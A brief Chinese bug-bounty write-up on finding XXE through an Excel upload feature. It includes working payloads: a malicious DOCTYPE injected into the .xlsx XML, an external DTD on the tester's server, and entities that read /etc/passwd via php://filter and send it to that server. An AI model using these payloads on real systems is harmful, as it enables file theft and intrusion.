SRC漏洞挖掘经验分享:文件解析造成的XXE
写一些自己挖到的比较有意思的漏洞
网站存在一个有意思的功能点,通过上传Excel会将内容显示在页面上,也就是说后端会解析Excel
Excel是通过XML来存储数据的,也就是说网站解析了XML,那么我们就可以在XML中注入语句来尝试攻击
新建一个"新建 Microsoft Excel 工作表.xlsx",将后缀改为.zip并解压
尝试在"[Content_Types].xml"中注入语句,之后再压缩回.zip然后重命名为"新建 Microsoft Excel 工作表.xlsx"
<!DOCTYPE a [ <!ENTITY % b SYSTEM "http://你服务器的IP/x.dtd">%b;%c;%xxe;]>
在自己服务器构造x.dtd,并开启access.log日志
<!ENTITY % c "<!ENTITY % xxe SYSTEM 'http://你服务器IP/XXE'>">
使用网站解析Excel,查看日志
成功调用外部实体
利用方式不用多说了吧,可以利用伪协议读取文件或系统命令执行
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % c "<!ENTITY % xxe SYSTEM 'http://你服务器IP/%file;'>">